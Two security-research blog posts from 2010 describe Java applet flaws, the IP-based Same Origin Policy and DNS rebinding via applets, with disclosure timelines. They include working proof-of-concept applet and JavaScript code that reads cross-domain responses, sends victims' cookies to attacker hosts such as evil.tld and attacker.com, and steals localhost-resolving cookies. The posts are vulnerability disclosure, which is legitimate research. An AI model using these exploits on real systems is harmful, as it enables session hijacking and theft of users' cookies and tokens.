Showing posts with label Java Security. Show all posts
Showing posts with label Java Security. Show all posts

Wednesday, October 20, 2010

Java Applet Same IP Host Access

Summary
Due to a design issue on the way Java considers Same Origin Policy, it is possible for an attacker controlling a host with the same IP of the victim host, to forge requests to victim host on behalf of a user and read the content of the response.

Analysis
It is known for ever that Java SOP is correlated with the IP of the applet hosting server.

"...
Two hosts are considered equivalent if both host names can be resolved into the same IP addresses; else if either host name can't be resolved, the host names must be equal without regard to case; or both host names equal to null.
..."
That means that differently from other SOP, Java does not take in consideration HostNames but only IPs.
This is what is called a design issue, probably originating from the '90s when the Internet was a more similar to a LAN :).
By taking advantage of this design issue, if an attacker can control at least one host on a virtual server pool (uploading an applet), it will be possible for the attacker to use an applet against a legit user and read every information from the other domains on the same IP.

Specifically, it is possible to forge requests and read HTML response from any other server with the same IP of the host without any further security check.
So let's consider that is possible for an attacker to upload a jar on a virtual host (I.e. an uploading host uploads.vhost.tld or a fully controlled host) which will results in an applet downloadable from the server.
The applet code is the following:


import java.net.*;
import java.util.*;
import javax.swing.*;
import java.applet.*;
import java.util.regex.*;


public class GetFromIP extends Applet{

public void init( ) {
String line;
String content="";
String patternStr = getParameter("regexp") ;
try{
URL f=new URL(getParameter("url"));
HttpURLConnection g=(HttpURLConnection)f.openConnection();
g.setRequestMethod("GET");
g.connect();
java.io.DataInputStream dis = new
java.io.DataInputStream(g.getInputStream());
while((line=dis.readLine())!=null){
content+=line+"\n";
}
g.disconnect();
JTextArea area = new JTextArea(10,20);
add(area);
Pattern pattern = Pattern.compile(patternStr);
Matcher matcher = pattern.matcher(content);
String match="not found";
if( matcher.find())
match = matcher.group();
area.setText(match);
}catch(Exception exc){exc.printStackTrace();}
}
}


What happens is that when Java makes a HttpURLConnection it asks for Cookies to the browser which provides them back to Java except for HttpOnly cookies (this is a publicly known behavior).
After that, even if it seems that is not possible to directly read the cookies from Java, it's still possible to read the html content since there is IP sharing.

Yeah, using TRACE is still possible on non HttpOnly cookies but that method could be disabled on the server side.

This will result in some sort of CSRF (you cannot read cookies) but with read access to the response, allowing the attacker to read for example AntiCSRF tokens and other sensitive data.
The following screenshot is the result of an attack from a malicious user (evil me) to google.com getting information of a logged in user (angel me).


Another interesting attack: Host header.
It is known that is possible to set the Host header on applets using HttpURLConnection:

connection.setRequestProperty("Host", urlUpload.getHost());

The latter, in conjunction to the same IP SOP will create a way to steal cookies as well.
Suppose www.attacker.com is on same IP of www.legit.com and a user is logged in on legit.com site.
A malicious user could then try to let the user to go to a page with the following content.

From www.attacker.com:

f=new java.net.URL("http://www.legit.com"); // allowed since they share IP
g=f.openConnection();
g.addRequestProperty("Host","www.attacker.com"); //allowed since a feature
g.connect();
dis = new java.io.DataInputStream(g.getInputStream());
while((i=dis.readLine())!=null){
log(i);
}


What happens here is that Java asks the browser for www.legit.com cookies and then sends the request to the server which sees the Host header and sends it to the attacker's site stealing the (non HttpOnly cookies).

Moreover it will be possible to add or overwrite cookies from an attacker page by simply setting a cookie in the response header.
That cookie will be passed to the browser which thinks it's a cookie belonging to legit.com.

A big issue
The even more big issue here is that any js controlled site (read Xssable) that resolves to a shared IP hosting is vulnerable to this, since Packages.java* can be used from javascript using JavaScriptProtectionDomain. Now from any browsers as described here.

A side Note
It seems that Roberto Suggi Liverani found the first part of the design vulnerability as well on August and responsibly disclosed to Oracle. It also seems that Oracle were so obscure to not telling him that the issue was already found and reported by me. So you'll find another similiar advisory on the net.

Disclosure Timeline
30th March 2010: Issue found. I think that since it's a design issue probably Oracle will have some objection in fixing it. So I decide to send an attack example to Google.
31st March 2010: Information about the attack sent to Google
1st April 2010: Google says it has to be corrected by Oracle. They can help pushing for a fix.
20th April 2010: Advisory Sent to Oracle
6th May 2010: Oracle Confirms the issue.
6 Apr - 12 Oct 2010: Some Oracle updates and finally the Java release.

Tuesday, October 12, 2010

DNS Rebinding on Java Applets

Summary
In 2007 it was discovered that Java Applets, in conjunction with LiveConnect plugin on Firefox, were vulnerable to DNS Rebinding and take advantage of Java features like TCP and UDP socket connections on unauthorized sites.
But the only browser which resulted vulnerable was Firefox.

During an assessment of Java VM source code (v. 6 update 21) it was found that the attack was still feasible, probably due to a regression issue and, more important, I found a way to extend the attack to every browser.
A fix should have been implemented in the new Java 6 update 22.

Analysis

An interesting new feature which was added in Java 6 is that after the instantiation of JVM from an applet tag the Packages objects are now accessible from any browser.


package sun.plugin2.main.server;
...
public class IExplorerPlugin extends AbstractPlugin{
...
public boolean SetClientSite(long paramLong1, long paramLong2)
...

try {
defineNameSpaceVariable(localBrowserSideObject, "Packages", "");
defineNameSpaceVariable(localBrowserSideObject, "java", "java");
defineNameSpaceVariable(localBrowserSideObject, "netscape", "netscape");
if (DEBUG)
System.out.println("IExplorerPlugin.SetClientSite: successfully defined namespace variables");
}
....
}


So a similar trick used by Anvil can be used with some variant.

Java implements at least two security domains. The first one is the classical sandbox restricted to the domain were the applet originates.
The second one is called "JavaScriptProtectionDomain" which is instantiated when the Java call is done from Javascript and it is tied to the host where the html/javascript is hosted.
When Java is called from JavaScript a JVM is initialized and set the protection domain to JavaScriptProtectionDomain.

The technique used by Anvil is to call Java from JavaScript and force a DNS request to the evil host which will resolve to an arbitrary IP. The constraint is that the only browsers affected were the ones implementing liveconnect plugin.

The new attack tries to force the generation of Js to Java objects cross browsers.

How it works
Under Firefox the attack is identical to the one by Kanatoko Anvil.
Regarding other browsers here is the html code:


<!-- From evil.tld -->
<body onload="go1()">
<applet code='anApplet' ></applet>

<div id="info"></div>
<script>
function go1(){
document.body.innerHTML+="aaa";
setTimeout(go,1000); // wait for first JVM to initialize
}
function go(){
document.body.innerHTML+="<applet code='doNothing' archive='http://anotherEvilhost.tld'></applet>"
setTimeout( doSocketStuff,3000);
}
function doSocketStuff(){

try{
d=new Packages.java.net.InetSocketAddress( "evil.tld",aPortToConnect );
....// Same Anvil's code
}catch(e){d.close();alert(e.message)}
}
</script>


there are three steps to take in order to get it work:
  1. load an applet from evil.tld
  2. wait for the JVM to init (If we try to get a socket now from evil.tld, the JVM won't ask for IP to the DNS because of DNS cache)
  3. load another applet from anotherEvilHost.tld
  4. now we can use JavaScriptDomain by instantiating InetSocketAddress object. Here JVM will ask DNS for evil.tld IP. DNS will resolve to whatever we want (eg. 127.0.0.1).
  5. Connect to 127.0.0.1 and do port scan with read/write access.
So the trick is to set up two Applets the first one pointing to evil.tld which is the same hosting the html page then the second applet points to another attacker controlled host which will be used to rewrite the Js to Java Objects and, hence, bypass the DNS cache.
After that it'll be possible to perform classical DNS rebinding attacks.

An Interesting Attack
One of the first thing that made me research Applet security was the presence of java.net.ServerSocket package in applets.
This package allows to open a socket server listening to incoming connections.


// a Js to Java implementation of a server
d=new Packages.java.net.ServerSocket();
d.bind(new Packages.java.net.InetSocketAddress( "127.0.0.1",8000 ));
clientSocket=d.accept(); // here comes the magic
...
d.close();


The previous code is accepted by applets and is legit as of the time of writing.
The restriction comes out when accept method is called. Infact due to Same IP origin Policy a crossdomain.xml will be required to 127.0.0.1, and if not found an exception will be triggered.

Here the DNS Rebinding comes in handy. By applying the technique previously described it will be possible to set up a SocketServer listening to 127.0.0.1 accepting connection without triggering an exception.

Now someone could ask: "Ok but what can I do with a server listening on localhost?".
I asked myself, too. And I figured out some interesting sceneries:

  1. Crash some local server and then sniff connection on the same port (difficult but feasible).
  2. Find some host that resolve to 127.0.0.1 and get/set domain cookies.
Let's talk about the latter.
I downloaded the list of top 500 Alexa sites and found 20% (thumb rule) of them have some site that resolve to 127.0.0.1.
An nice example is localhost.delicious.com:

$ host localhost.delicious.com
localhost.delicious.com has address 127.0.0.1


Let's now perform the attack by using the following code:


<body onload="go1()">
<applet code='doNothing' ></applet><iframe name='delicious'></iframe>
<div id="info"></div>
<script>
function go1(){
document.body.innerHTML+="sometext";
setTimeout(go,1000);
}
function go(){

document.body.innerHTML+="<applet code='doNothing' archive='http://anotherEvilHost.tld/donothing.jar'></applet>"
setTimeout(server,3000);
setTimeout(function(){window.frames[0].location='http://localhost.delicious.com:8040'},5000); // this force the browser to connect to 127.0.0.1 but it'll send the domain cookies to attacker socket server listening on port 8040

}
function server(){

try{
d=new Packages.java.net.ServerSocket();
d.bind(new Packages.java.net.InetSocketAddress( "evil.tld",8040 ));// will now resolve to 127.0.0.1 (port 8040)
clientSocket=d.accept();
ins= clientSocket.getInputStream();
r=ins.available();
buf='';
os=new Packages.java.io.PrintWriter(clientSocket.getOutputStream());
for (var i=0;i< r;i++)
buf += String.fromCharCode( ins.read() );

os.print("HTTP/1.1 200 OK\nContent-length: 0\n\n\n");
os.flush();
os.close();
d.close();
}catch(e){d.close();alert(e.message)}

document.getElementById('info').innerHTML+="<pre>"+(buf)+"</pre>";

}
</script>



Here's a screenshot of what happens to the victim:

N.B.: Don't try the poc from wisec.it since it has not a DNS server controlled by me. So it won't work.
After the attack is accomplished, the attacker will steal victim's cookies and will impersonate her as shown in the following screenshot:



Another interesting attack
Due to the Same IP Origin policy of Java Applets it is potentially possible to attack every single host on the Web.
I'll write about it in the next few days.